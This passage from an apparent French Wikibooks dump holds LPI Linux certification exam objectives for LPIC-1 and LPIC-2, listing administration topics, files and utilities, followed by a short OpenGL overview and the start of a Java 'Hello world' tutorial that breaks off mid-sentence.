Configuration et résolution des problèmes TCP/IP === ;Poids: 7 Description : ''Candidates should be able to view, change and verify configuration settings and operational status for various network interfaces. This objective includes manual and automatic configuration of interfaces and routing tables. This especially means to add, start, stop, restart, delete or reconfigure network interfaces. It also means to change, view or configure the routing table and to correct an improperly set default route manually. Candidates should be able to configure Linux as a DHCP client and a TCP/IP host and to debug problems associated with the network configuration.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/HOSTNAME or /etc/hostname ;/etc/hosts ;/etc/networks ;/etc/host.conf ;/etc/resolv.conf ;/etc/nsswitch.conf ;ifconfig ;route ;dhcpcd, dhcpclient, pump ;host ;hostname (domainname, dnsdomainname) ;netstat ;ping ;traceroute ;tcpdump ;the network scripts run during system initialization. === 1.112.4 Configurer Linux comme client PPP === ;Poids: 3 Description : ''Candidates should understand the basics of the PPP protocol and be able to configure and use PPP for outbound connections. This objective includes the definition of the chat sequence to connect (given a login example) and the setup commands to be run automatically when a PPP connection is made. It also includes initialisation and termination of a PPP connection, with a modem, ISDN or ADSL and setting PPP to automatically reconnect if disconnected.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/ppp/options.* ;/etc/ppp/peers/* ;/etc/wvdial.conf ;/etc/ppp/ip-up ;/etc/ppp/ip-down ;wvdial ;pppd == Sujet 113: Services réseaux == === 1.113.1 Configurer et gérer inetd, xinetd et les services associés === ;Poids: 4 Description : ''Candidates should be able to configure which services are available through inetd, use tcpwrappers to allow or deny services on a host-by-host basis, manually start, stop, and restart internet services, configure basic network services including telnet and ftp. Set a service to run as another user instead of the default in inetd.conf.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/inetd.conf ;/etc/hosts.allow ;/etc/hosts.deny ;/etc/services ;/etc/xinetd.conf ;/etc/xinetd.log === 1.113.2 Configuration de base de Sendmail === ;Poids: 4 Description : ''Candidate should be able to modify simple parameters in sendmail configuration files (including the "Smart Host" parameter, if necessary), create mail aliases, manage the mail queue, start and stop sendmail, configure mail forwarding and perform basic troubleshooting of sendmail. The objective includes checking for and closing open relay on the mailserver. It does not include advanced custom configuration of Sendmail.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/aliases or /etc/mail/aliases ;/etc/mail/* ;~/.forward ;mailq ;sendmail ;newaliases === 1.113.3 Configuration de base de Apache === ;Poids: 4 Description : ''Candidates should be able to modify simple parameters in Apache configuration files, start, stop, and restart httpd, arrange for automatic restarting of httpd upon boot. Does not include advanced custom configuration of Apache.'' Répertoires principaux, termes, et utilitaires inclus : ;httpd.conf ;apachectl ;httpd === 1.113.4 Gérer correctement les daemons NFS, smb and nmb === ;Poids: 4 Description : ''Candidate should know how to mount remote filesystems using NFS, configure NFS for exporting local filesystems, start, stop, and restart the NFS server. Install and configure Samba using the included GUI tools or direct edit of the /etc/smb.conf file (Note: this deliberately excludes advanced NT domain issues but includes simple sharing of home directories and printers, as well as correctly setting the nmbd as a WINS client).'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/exports ;/etc/fstab ;/etc/smb.conf ;mount ;umount === 1.113.5 Installer et configurer les services DNS de base === ;Poids: 4 Description : ''Candidate should be able to configure hostname lookups and troubleshoot problems with local caching-only name server. Requires an understanding of the domain registration and DNS translation process. Requires understanding key differences in configuration files for bind 4 and bind 8.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/hosts ;/etc/resolv.conf ;/etc/nsswitch.conf ;/etc/named.boot (v.4) or /etc/named.conf (v.8) ;named === 1.113.7 Installer Secure Shell (OpenSSH) === ;Poids: 4 Description : ''The candidate should be able to obtain and configure OpenSSH. This objective includes basic OpenSSH installation and troubleshooting, as well as configuring sshd to start at system boot..'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/hosts.allow ;/etc/hosts.deny ;/etc/nologin ;/etc/ssh/sshd_config ;/etc/ssh_known_hosts ;/etc/sshrc ;sshd ;ssh-keygen == Sujet 114: Securité == === 1.114.1 Exécuter des tâches de securité en administration === ;Poids: 4 Description : ''Candidates should know how to review system configuration to ensure host security in accordance with local security policies. This objective includes how to configure TCP wrappers, find files with SUID/SGID bit set, verify packages, set or change user passwords and password aging information, update binaries as recommended by CERT, BUGTRAQ, and/or distribution's security alerts. Includes basic knowledge of ipchains and iptables.'' Répertoires principaux, termes, et utilitaires inclus : ;/proc/net/ip_fwchains ;/proc/net/ip_fwnames ;/proc/net/ip_masquerade ;find ;ipchains ;passwd ;socket ;iptables === 1.114.2 Sécuriser une machine === ;Poids: 3 Description : ''Candidate should know how to set up a basic level of host security. Tasks include syslog configuration, shadowed passwords, set up of a mail alias for root's mail and turning of all network services not in use.'' Répertoires principaux, termes, et utilitaires inclus : ;/etc/inetd.conf or /etc/inet.d/* ;/etc/nologin ;/etc/passwd ;/etc/shadow ;/etc/syslog.conf === 1.114.3 Niveaux de sécurité de l'utilisateur === ;Poids: 1 Description : ''Candidate should be able to configure user level security. Tasks include limits on user logins, processes, and memory usage.'' Répertoires principaux, termes, et utilitaires inclus : ;quota ;usermod [[en:LPI Linux Certification/LPIC1 Exam 102/Detailed Objectives]] Objectifs détaillés (LPIC201) 557 29222 2006-01-17T21:51:38Z JMRyan 1016 (Lien à la version anglaise. {{LPIC}} Voici les objectifs détaillés tels que définis par [https://www.lpi.org/fr/obj_201.html LPI]. Ce cours n'a pas une approbation officielle de LPI. Voici le minimum requis pour le niveau 2 de la certification LPI. Cela recouvre les tâches d'administration avancée du systéme qui sont communes à toutes les distributions Linux. Chaque objectif est pondéré par un poids. Les poids s'étendent de 1 à 10, et indiquent l'importance relative de chaque objectif. Les objectifs avec les poids les plus élevés seront représentés dans l'examen par plus de questions. == Topic 201: Kernel == === 2.201.1 Composants Noyaux === ;Poids: 1 Description : ''Les candidats devront être capables d'utiliser les composants du noyau qui sont nécessaires aux spécificités matérielles, périphériques, ressources et besoins systéme. Ces objectifs incluent l'implémentation différente des types d'images Noyau par l'identification du caractére stable ou en développement des noyaux et correctifs (patches), aussi bien que l'utilisation de leurs modules.'' Fichiers Clefs , termes, et utilitaire inclus: zImage bzImage === 2.201.2 Compiler un noyau === ;Poids: 1 Description : ''Les candidats devront être capables de compiler proprement un noyau en incluant ou désactivant des dispositifs/composants spécifiques du Noyau linux selon nécessité. Cela inclut la compilation et recompilation du Noyau quand il le faut, l'implémentation des mises-à-jour et leur inscription dans un nouveau Noyau, la création d'une image initiation (initrd) systéme, et l'installation de nouveaux noyaux.'' Fichiers Clefs , termes, et utilitaire inclus: /usr/src/linux/ /etc/lilo.conf make options (config, xconfig, menuconfig, oldconfig, mrproper zImage, bzImage, modules, modules_install) mkinitrd (both Red Hat and Debian based) make === 2.201.3 Mise à Jour du Noyau === ;Poids: 2 Description : ''Les candidats devront être capables de mettre à jour un Noyau pour des buts variés incluant l'implémentations des mises-à-jours du noyau, l'implémentation de corrections d'erreurs (bugs), et l'ajout du support de nouveau matériel. Cet objectif inclut aussi d'être capable de désinstaller proprement des mises-à-jours noyau depuis des noyaux de production existants.'' Fichiers Clefs , termes, et utilitaire inclus: Makefile patch gzip bzip === 2.201.4 Adapter un Noyau === ;Poids: 1 Description : ''Les candidats doivent être capables d'adapter un Noyau pour des besoins systeme spécifiques, par des mises à jours, en compilant et en éditant les fichiers de configuration selon les besoins. Cet objectif inclut d'être capable d'évaluer les conditions pour version de compilation du noyau mise à jour correctement a sa construction et de configurer les modules noyau.'' Fichiers Clefs , termes et utilitaire inclus : /usr/src/linux /proc/sys/kernel/ /etc/conf.modules, /etc/modules.conf patch make modprobe insmod, lsmod kerneld kmod == Topic 202: Démarrage du système == === 2.202.1 Adapter(Customizing) le démarrage système et la séquence de Boot === ;Poids: 2 Description : ''Les Candidats doivent être capables d'éditer les scripts de démarrage adéquats pour adapter les niveaux standart d'exécution système (run level) et processus de boot. Cet objectif inclut d'intéragir avec les niveaux d'exécution et de créer des images adaptés d'initiation (initrd images) selon les besoins.'' Fichiers Clefs , termes, et utilitaire inclus : /etc/init.d/ /etc/inittab /etc/rc.d/ mkinitrd (both Red Hat and Debian scripts) === 2.202.2 Restauration(recovery) Système === ;Poids: 3 Description : ''Les candidats doivent être capables de manipuler proprement un systéme Linux pendant le processus de boot et aussi le mode de restauration. Cet objectif inclut l'utilisation conjointe des utilitaires d'initilisation et de modifications des options du noyau (init & kernel options).'' Fichiers Clefs , termes, et utilitaire inclus : inittab LILO init mount fsck == Topic 203: Système de fichiers == === 2.203.1 Intervenir sur le système de fichiers Linux === ;Poids: 3 Description : ''Les candidats devront pouvoir configurer et accéder aux système de fichiers Linux Standard. Cet objectif inclut la configuration et le montage de types de fichiers système variés. Cela inclut aussi la manipulation du système de fichiers pour ajustement aux besoins en espace disque ou à l'ajout de périphériques.'' Fichiers Clefs , termes, et utilitaire inclus : /etc/fstab /etc/mtab /proc/mounts mount and umount sync swapon swapoff === 2.203.2 Maintenir un système de fichiers Linux (filesystem) === ;Poids: 4 Description: ''Les candidats devront être capables de maintenir proprement un système de fichiers Linux en utilisant les utilitaires système. Cet objectif inclut la manipulation du système standard de fichiers ext2.'' Fichiers Clefs , termes, et utilitaire inclus : fsck (fsck.ext2) badblocks mke2fs dumpe2fs debuge2fs tune2fs === 2.203.3 Créer et Configurer les options du Système de fichiers (filesystem) === ;Poids: 3 Description: ''Les candidats devront être capables de configurer un système de fichiers "automount". Cet objectif inclut la configuration installation automatique (automount) pour le système de fichiers (filesystems) réseau et des périphériques. Cela comprend de plus la création d'un système de fichiers pour des périphériques non "ext2" tels que les CD-ROMs.'' Fichiers Clefs , termes, et utilitaire inclus : /etc/auto.master /etc/auto.[dir] mkisofs dd mke2fs == Topic 204: Matériel == === 2.204.1 Configuration RAID === ;Poids: 2 Description: ''Les candidats devront être capables de configurer une implémentation logicielle RAID. Cet objectif inclut l'utilisation des outils "mkraid" et la configuration RAID 0, 1, et 5.'' Fichiers Clefs , termes, et utilitaire inclus : /etc/raidtab mkraid === 2.204.2 Ajouter de Nouveaux Matériels === ;Poids: 3 Description: ''Les candidats devront pouvoir configurer des périphériques internes et externes pour un système incluant de nouveaux disques durs, des terminaux supplémentaires, des périphériques UPS supplémentaires, des cartes série multi-port, et des panneaux LCD.'' Fichiers Clefs , termes, et utilitaires inclus : /proc/bus/usb XFree86 modprobe lsmod lsdev lspci setserial usbview === 2.204.3 Configuration Noyau et logicielle === ;Poids: 2 Description: ''Les candidats devront être capables de configurer les options du noyau pour supporter des périphériques matériels variés incluant l'UDMA66 et les Graveurs IDE. Cet objectif inclut l'utilisation de LVM (Logical Volume Manager) pour gérer le disque dur et les partitions aussi bien que les outils logiciels pour interagir avec les données de configuration de disque dur.'' Fichiers Clefs , termes, et utilitaires inclus : /proc/interrupts hdparm tune2fs sysctl === 2.204.4 Configurer les Périphériques(devices) PCMCIA === ;Poids: 1 Description: ''Les candidats devront être capables de configurer une installation Linux pour inclure le support des périphériques (devices) PCMCIA, tels que les adaptateurs ethernet, pour les auto-détecter à leur insertion.'' Fichiers Clefs , termes, et utilitaires inclus : /etc/pcmcia/ *.opts cardctl cardmgr == Topic 209: Partage de fichiers et de services == === 2.209.1 Configurer un serveur Samba === ;Poids: 5 Description: ''Le candidat devra être capable d'installer un serveur Samba pour différents clients. Cet objectif inclut d'installer un script d'accès pour des clients Samba et la mise en place d'un serveur <tt>nmbd</tt> WINS. Cela inclut de plus le changement de groupe de travail auquel le serveur appartient, la définition du répertoire partagé dans le fichier <tt>smb.conf</tt>, la définition d'une imprimante dans <tt>smb.conf</tt>, l'utilisation de <tt>nmblookup</tt> pour tester les fonctionnalités du serveur WINS et l'utilisation de la commande <tt>smbmount</tt> pour monter le partage SMB sur un client Linux.'' Fichiers Clefs , termes, et utilitaires inclus : smbd, nmbd smbstatus, smbtestparm, smbpasswd, nmblookup smb.conf, lmhosts === 2.209.2 Configurer un serveur NFS === ;Poids: 3 Description: ''Le candidat devra pouvoir créer un "exports file" et spécifier le "systemfile" à exporter. Cet objectif inclut l'édition des entrées de fichier d'export pour restreindre l'accés a certains hosts, subnet et netgroup. De même cela inclut de spécifier les options de montage (mount) dans l'export file, de configurer le "user ID mapping", mount un NFS filesystem sur un client, en utilisant les options de la commande mount pour spécifier les nouvelles tentatives (retries) soft ou hard et background, signal handling, locking, et format(block size). Le candidat devra aussi être capable de configurer tcpwrappers pour sécuriser (further secure) NFS.'' Fichiers Clefs , termes, et utilitaires inclus : /etc/exports exportfs showmount nfsstat == Topic 211: Maintenance système == === 2.211.1 Accès au système (logging) === ;Poids: 1 Description: ''Le candidat devra être capable de configurer le "syslogd" pour agir en tant que serveur d'accès réseau central. Cet objectif inclut aussi la configuration de "Syslogd" pour envoyer les sorties du système à un serveur central, enregistrer les accès distants et l'utilisation de "grep" et d'autres utilitaires texte pour automatiser l'analyse des accès systéme(log).'' Fichiers Clefs , termes, et utilitaires inclus : syslog.conf /etc/hosts sysklogd === 2.211.2 Packaging software === ;Poids: 1 Description: ''Le candidat devra pouvoir construire (build) un package. Cet objectif inclut l'utilisation des logiciels RPM et DEB pour construire (ou reconstruire) un package.'' Fichiers Clefs , termes, et utilitaires inclus : /debian/rules SPEC file format rpm === 2.211.3 Opérations de sauvegarde === ;Poids: 2 Description : ''Le candidat devra pouvoir planifier la création d'une sauvegarde externe (offsite backup storage plan).'' == Topic 213: Adatation Système et Automatisation == === 2.213.1 Automating tasks using scripts === ;Weight: 3 Description: ''The candidate should be able to write simple Perl scripts that make use of modules where appropriate, use the Perl taint mode to secure data, and install Perl modules from CPAN. This objective includes using sed and awk in scripts, and using scripts to check for process execution and generate alerts by email or pager if a process dies. Candidates should be able to write and schedule automatic execution of scripts to parse logs for alerts and email them to administrators, synchronize files across machines using rsync, monitor files for changes and generate email alerts, and write a script that notifies administrators when specified users log in or out.'' Fichiers Clefs , termes, et utilitaires inclus : perl -MCPAN -e shell bash, awk, sed crontab at == Topic 214: Dépannage == === 2.214.2 Creating recovery disks === ;Weight: 1 Description: ''Candidate should be able to: create both a standard bootdisk for system entrance, and a recovery disk for system repair.'' Fichiers Clefs , termes, et utilitaire inclus: /etc/fstab /etc/inittab Tout éditeur standard Connaissance de la localisation et du contenu de LDP Bootdisk-HOWTO /usr/sbin/rdev /bin/cat /bin/mount (includes -o loop switch) /sbin/lilo /bin/dd /sbin/mke2fs /usr/sbin/chroot === 2.214.3 Identifying boot stages === ;Weight: 1 Description: ''Candidate should be able to determine, from bootup text, the 4 stages of boot sequence and distinguish between each.'' Fichiers Clefs , termes, et utilitaire inclus: Démmarage Chargeur de boot (boot loader start) et passage au noyau(hand off to kernel) Chargement du noyau (kernel loading) initializiation hardware et setup initialization tache de fond (daemon) et setup === 2.214.4 Troubleshooting LILO === ;Weight: 1 Description: ''Candidate should be able to: determine specific stage failures and corrective techniques.'' Fichiers Clefs , termes, et utilitaire inclus: /boot/boot.b Connaitre la signification de L, LI, LIL, LILO, et défilement d'erreurs 010101 Connaitre les localisations différentes de l'installation de LILO ,(premier secteur de boot) MBR, /dev/fd0, our primary/extended partition. Sens de Signification de /boot/boot.### files === 2.214.5 General troubleshooting === ;Weight: 1 Description: ''A candidate should be able to recognize and identify boot loader and kernel specific stages and utilize kernel boot messages to diagnose kernel errors. This objective includes being able to identify and correct common hardware issues, and be able to determine if the problem is hardware or software.'' Fichiers Clefs , termes, et utilitaire inclus: /proc filesystem Various system and daemon log files in /var/log/ /, /boot, and /lib/modules Message écran pendant le démmarage(screen output during bootup) Les "Logs systéme" dans le journal des connections (Si la tentavive de connection est capable d'aboutir) localisation du system kernel et modules dépendant dmesg /sbin/lspci /usr/bin/lsdev /sbin/lsmod /sbin/modprobe /sbin/insmod /bin/uname strace strings ltrace lsof === 2.214.6 Troubleshooting system resources === ;Weight: 1 Description: ''Un candidat devrait etre capable d'indentifier, diagnostiquer et de réparer un environnement systeme local.'' Fichiers Clefs , termes, et utilitaire inclus: /etc/profile && /etc/profile.d/ /etc/init.d/ /etc/rc.* /etc/sysctl.conf /etc/bashrc /etc/ld.so.conf (ou autres fichiers de configuration globaux appropriés de "shell" ) Variables de système de noyau (Core system variables) Tout éditeur standard /bin/ln /bin/rm /sbin/ldconfig /sbin/sysctl === 2.214.8 Troubleshooting environment configurations === ;Weight: 1 Description: ''Un candidat devra pouvoir indentifier un systeme local commun et les données de configuration d'environnement utilisateur ainsi que les technique de base de réparation.'' Fichiers Clefs , termes, et utilitaire inclus: /etc/inittab /etc/rc.local /etc/rc.boot /var/spool/cron/crontabs/ /etc/`shell_name`.conf /etc/login.defs /etc/syslog.conf /etc/passwd /etc/shadow /etc/group /etc/profile /sbin/init /usr/sbin/cron /usr/bin/crontab [[en:LPI Linux Certification/LPIC2 Exam 201/Detailed Objectives]] Objectifs détaillés (LPIC202) 558 29224 2006-01-17T21:55:31Z JMRyan 1016 (Lien à la version anglaise. {{LPIC}} Voici les objectifs détaillés tels que définis par [https://www.lpi.org/fr/obj_202.html LPI]. Ce cours n'a pas une approbation officielle de LPI. Voici le minimum requis pour le niveau 2 de la certification LPI. Cela recouvre les tâches d'administration avancée du systéme qui sont communes à toutes les distributions Linux. Chaque objectif est pondéré par un poids. Les poids s'étendent de 1 à 10, et indiquent l'importance relative de chaque objectif. Les objectifs avec les poids les plus élevés seront représentés dans l'examen par plus de questions. == Topic 205: Configuration des réseaux == === 2.205.1 Configuration de base du réseau === ;Weight: 5 Description: ''Le candidat doit être capable de configurer un périphérique réseau, de se connecter à un reseau local ainsi qu'à un reseau distant. Cela englobe la capacité à communiquer entre plusieurs sous-réseaux à l'interieur d'un même réseau, de configurer un accès dialup en utilisant mgetty, de configurer un accès dialup en utilisant un modem ou ISDN, de configurer les protocoles d'autentification tels que PAP et CHAP, et de configurer les connexions TCP/IP logging.'' '''fichier''', ''termes'', and <tt>commandes</tt> inclus : /sbin/route /sbin/ifconfig /sbin/arp /usr/sbin/arpwatch /etc/ === 2.205.2 Configuration avancée du réseau et dépannage === ;Poids : 3 Description : ''Le candidat doit être capable de configurer un périphérique réseau et implémenter différents méthodes d'authentification réseau. Cet objectif inclut la configuration d'un périphérique avec plusieurs interfaces, d'un réseau privé virtuel (VPN) et de résoudre les problèmes de réseaux et de communication.'' '''fichier''', ''termes'', and <tt>commandes</tt> inclus : /sbin/route /sbin/route /sbin/ifconfig /bin/netstat /bin/ping /sbin/arp /usr/sbin/tcpdump /usr/sbin/lsof /usr/bin/nc == Topic 206: Messagerie & Forums == === 2.206.1 Configuration des listes de diffusion === ;Weight: 1 Description: ''Install and maintain mailing lists using majordomo. Monitor majordomo problems by viewing majordomo logs.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: Majordomo2 === 2.206.2 Utiliser Sendmail === ;Weight: 4 Description: ''Candidates should be able to manage a Sendmail configuration including email aliases, mail quotas, and virtual mail domains. This objective includes configuring internal mail relays and monitoring SMTP servers.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: /etc/aliases sendmail.cw virtusertable genericstable === 2.206.3 Gérer le trafic messagerie === ;Weight: 3 Description: ''Candidates shold be able to implement client mail management software to filter, sort, and monitor incoming user mail. This objective includes using software such as procmail on both server and client side.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: procmail === 2.206.4 Gérer des forums === ;Weight: 1 Description: ''Candidates should be able to install and configure news servers using inn. This objective includes customizing and monitoring served newsgroups.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: innd == Topic 207: DNS == === 2.207.1 Configuration de base de BIND 8 === ;Weight: 2 Description: ''The candidate should be able to configure BIND to function as a caching-only DNS server. This objective includes the ability to convert a BIND 4.9 named.boot file to the BIND 8.x named.conf format, and reload the DNS by using kill or ndc. This objective also includes configuring logging and options such as directoryh location for zone files.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: /etc/named.conf /usr/sbin/ndc /usr/sbin/named-bootconf kill === 2.207.2 Créer et gérer des zones DNS === ;Weight: 3 Description: ''The candidate should be able to create a zone file for a forward or reverse zone or root level server. This objective includes setting appropriate values for the SOA resource record, NS records, and MX records. Also included is adding hosts with A resource records and CNAME records as appropriate, adding hosts to reverse zones with PTR records, and adding the zone to the /etc/named.conf file using the zone statement with appropriate type, file and masters values. A candidate should also be able to delegate a zone to another DNS server.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: contents of /var/named zone file syntax resource record formats dig nslookup host === 2.207.3 Sécuriser un serveur DNS === ;Weight: 3 Description: ''The candidate should be able to configure BIND to run as a non-root user, and configure BIND to run in a chroot jail. This objective includes configuring DNSSEC statements such as key and trusted-keys to prevent domain spoofing. Also included is the ability to configure a split DNS configuration using the forwarders statement, and specifying a non-standard version number string in response to queries.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: SysV init files or rc.local /etc/named.conf /etc/passwd dnskeygen == Topic 208: Services web == === 2.208.1 Mettre en place un serveur web === ;Weight: 2 Description: ''Candidates should be able to install and configure an Apache web server. This objective includes monitoring Apache load and performance, restricting client user access, configuring mod_perl and PHP support, and setting up client user authentication. Also included is configuring Apache server options such as maximum requests, minimum and maximim servers, and clients.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: access.log .htaccess httpd.conf mod_auth htpasswd htgroup === 2.208.2 Gérer un serveur web === ;Weight: 2 Description: ''Candidates should be able to configure Apache to use virtual hosts for websites without dedicated IP addresses. This objective also includes creating an SSL certification for Apache and defining SSL definitions in configuration files using OpenSSL. Also included is customizing file access by implementing redirect statements in Apache's configuration files.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: httpd.conf === 2.208.3 Mettre en place un serveur proxy === ;Weight: 2 Description: ''Candidates should be able to install and configure a proxy server using Squid. This objective includes impelementing access policies, setting up authentication, and utilizing memory usage.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: squid.conf acl http_access == Topic 210: Gestion des clients réseau == === 2.210.1 Configuration du DHCP === ;Weight: 2 Description: ''The candidate should be able to configure a DHCP server and set default options, create a subnet, and create a dynamically-allocated range. This objective includes adding a static host, setting options for a single host, and adding bootp hosts. Also included is to configure a DHCP relay agent, and reload the DHCP server after making changes.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: dhcpd.conf dhcpd.leases === 2.210.2 Configuration de NIS === ;Weight: 1 Description: ''The candidate should be able to configure an NIS server and create NIS maps for major configuration files. This objective includes configuring a system as a NIS client, setting up an NIS slave server, and configuring ability to search local files, DNS, NIS, etc. in nsswitch.conf.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: nisupdate, ypbind, ypcat, ypmatch, ypserv, ypswitch, yppasswd, yppoll, yppush, ypwhich, rpcinfo nis.conf, nsswitch.conf, ypserv.conf Contents of /etc/nis/: netgroup, nicknames, securenets Makefile === 2.210.3 Configuration de LDAP === ;Weight: 1 Description: ''The candidate should be able to configure an LDAP server. This objective includes configuring a directory hierarchy, adding group, hosts, services and other data to the hierarchy. Also included is importing items from LDIF files and add items with a management tool, as well as adding users to the directory and change their passwords.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: slapd slapd.conf === 2.210.4 Authentification avec PAM === ;Weight: 2 Description: ''The candidate should be able to configure PAM to support authentication via traditional /etc/passwd, shadow passwords, NIS, or LDAP.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: /etc/pam.d pam.conf == Topic 212 Securité du système == === 2.212.2 Configurer un routeur === ;Weight: 2 Description: ''The candidate should be able to configure ipchains and iptables to perform IP masquerading, and state the significance of Network Address Translation and Private Network Addresses in protecting a network. This objective includes configuring port redirection, listing filtering rules, and writing rules that accept or block datagrams based upon source or destination protocol, port and address. Also included is saving and reloading filtering configurations, using settings in /proc/sys/net/ipv4 to respond to DOS attacks, using /proc/sys/net/ipv4/ip_forward to turn IP forwarding on and off, and usingtools such as PortSentry to block port scans and vulnerability probes.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: /proc/sys/net/ipv4 /etc/services ipchains iptables routed === 2.212.3 Sécuriser un serveur FTP === ;Weight: 2 Description: ''The candidate should be able to configure an anonymous download FTP server. This objective includes configuring an FTP server to allow anonymous uploads, listing additional precautions to be taken if anonymous uploads are permitted, configuring guest users and groups with chroot jail, and configuring ftpaccess to deny access to named users or groups.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: ftpaccess, ftpusers, ftpgroups /etc/passwd chroot === 2.212.4 Secure Shell (OpenSSH) === ;Weight: 2 Description: ''The candidate should be able to configure sshd to allow or deny root logins, enable or disable X forwarding. This objective includes generating server keys, generating a user's public/private key pair, adding a public key to a user's authorized_keys file, and configuring ssh-agent for all users. Candidates should also be able to configure port forwarding to tunnel an application protocol over ssh, configure ssh to support the ssh protocol versions 1 and 2, disable non-root logins during system maintenance, configure trusted clients for ssh logins without a password, and make multiple connections from multiple hosts to guard against loss of connection to remote host following configuration changes.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: ssh, sshd /etc/ssh/sshd_config ~/.ssh/identity.pub and identity, ~/.ssh/authorized_keys .shosts, .rhosts === 2.212.5 TCP_wrappers === ;Weight: 1 Description: ''The candidate should be able to configure tcpwrappers to allow connections to specified servers from only certain hosts or subnets.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: inetd.conf, tcpd hosts.allow, hosts.deny xinetd === 2.212.6 Tâches de sécurité === ;Weight: 3 Description: ''The candidate should be able to install and configure kerberos and perform basic security auditing of source code. This objective includes arranging to receive security alerts from Bugtraq, CERT, CIAC or other sources, being able to test for open mail relays and anonymous FTP servers, installing and configuring an intrusion detection system such as snort or Tripwire. Candidates should also be able to update the IDS configuration as new vulnerabilities are discovered and apply security patches and bugfixes.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: Tripwire telnet nmap == Topic 214 Dépannage réseau == === 2.214.7 Problèmes de dépannage réseau === ;Weight: 1 Description: ''The candidate should be able to identify and correct common network setup issues to include knowledge of locations for basic configuration files and commands.'' Key '''files''', ''terms'', and <tt>utilities</tt> include: /sbin/ifconfig /sbin/route /bin/netstat /etc/network || /etc/sysconfig/network-scripts/ system log files such as /var/log/syslog && /var/log/messages /bin/ping /etc/resolv.conf /etc/hosts /etc/hosts.allow && /etc/hosts.deny /etc/hostname || /etc/HOSTNAME /sbin/hostname /usr/sbin/traceroute /usr/bin/nslookup /usr/bin/dig /bin/dmesg host [[en:LPI Linux Certification/LPIC2 Exam 202/Detailed Objectives]] Programmation OpenGL 559 12258 2004-12-31T21:24:13Z Tpierron 79 OpenGL (http://www.opengl.org) est une interface de programmation standard pour le graphisme 2D et 3D, adapté qui plus est pour être traité directement au niveau matériel. Du fait de leur aspect bas niveau, les primitives proposées par OpenGL nécessitent en général des fonctions de plus haut niveaux, pour faciliter le rendu et la gestion d'objets complexes, ainsi que leur interaction avec leur environnement. Il faut bien comprendre qu'OpenGL n'est ''qu'une'' couche de rendu. Pour effectuer des opérations plus complexes telles que des ombres portées, de l'animation par armature, la détection de collision de polygones, la gestion des lois de la physique (gravité, choc mous, particules, etc.), il vaut mieux utiliser des bibliothèques de plus haut niveaux, telles que : * GLU (OpenGL Utility library) : Cette bibliothèque est en général incluse d'office avec toute implémentation d'OpenGL. Elle permet de faire un rendu d'objets plus complexes à base de surfaces de béziers ou de splines bi-cubiques (NURBS - Non Uniform Rational Bicubic-Spline), ainsi que le découpage de polygones complexes en polygones convexes (des triangles en général, seul type de polygone pris en charge directement par OpenGL). Cette bibliothèque n'utilise en fait que des primitives OpenGL, c'est pourquoi ces fonctions ont été mises dans une bibliothèque à part. * GLUT (OpenGL Utility Toolkit library) : Cette bibliothèque permet s'affranchir des spécificités du systèmes d'exploitation pour exploiter OpenGL, notamment l'ouverture de fenêtre graphique et de la gestion des évènements (souris, clavier, redimentionnement, rafrachissement, etc.). Elle propose aussi quelques fonctions pour créer des objets relativement courrant (notamment lorsqu'on débute !), tels que des sphères, des tores, des carrés et la fameuse teillère. Reste que même avec ces trois bibliothèques de fonctions, il y a de quoi rester sur sa faim. Il existe de nombreux moteurs 3D, qui prennent en charge la gestion d'un environnement 3D et en leur appliquant des fonctions de haut niveau (telle l'insertion d'objets issus de modeleur 3D, la gestion des ombres portées, de la physique élémentaire, etc.). Il en existe beaucoup, aussi bien commerciaux, que libres, Internet et ses moteurs de recherche sauront vous montrer une liste exhaustive. Programmation Java Premier programme 561 37261 2006-03-12T16:49:32Z Merrheim 1032 /* Compilation et exécution */ {{Programmation Java}} ==Premier programme== === Le fichier source === Ce programme doit être écrit dans le fichier '''Exemple.java'''. <pre> public class Exemple { public static void main(String[] args) { System.out.println("Hello world!"); } } </pre> ===Explications sur le langage === Ce programme est le classique [[w:fr:Hello world|hello world]]. Comme son nom l'indique, ce programme va afficher la phrase "Hello world" à l'écran. Analysons-le ligne par ligne : <pre> public class Exemple { </pre> Cette ligne déclare une classe publique que nous appelons ''Exemple''. Un fichier <code>.java</code> ne peut contenir qu'une seule classe publique et le fichier doit porter le nom de cette classe. Ainsi, le fichier de ce premier exemple s'appellera obligatoirement <code>Exemple.java</code>. <pre> public static void main(String[] args) { </pre> Cette ligne déclare une méthode appelée ''main''. Cette méthode est le point d'entrée du programme (la méthode appelée lorsqu'il sera exécuté). Elle prend en argument un tableau de chaînes de caractères (<code>String[] args</code>) et ne retourne rien (<code>void</code>). Cette méthode est publique et statique, ce qui sera expliqué plus loin. <pre> System.out.println("Hello world!"); </pre> Cette dernière instruction invoque la méthode ''println'' de l'object ''out'' se trouvant dans la classe ''System'' en lui passant en argument la chaîne <code>Hello world!</code>. L'exécution de cette méthode aura pour résultat l'affichage de ''Hello world!''. Cette ligne peut sembler obscure pour l'instant. Disons juste qu'on appelle la méthode println de la classe out qui se trouve dans le package System. Ces notions seront détaillées par la suite. ===Compilation du fichier source=== Nous allons présenter la compilation de notre programme en utilisant le compilateur java très répandu nommé '''javac'''. Il est disponible gratuitement auprès de Sun. Il existe bien sûr de nombreux environnement de développement Java permettant de taper, compiler exécuter ou débuguer des programmes dans ce langage.<br/> Tapez 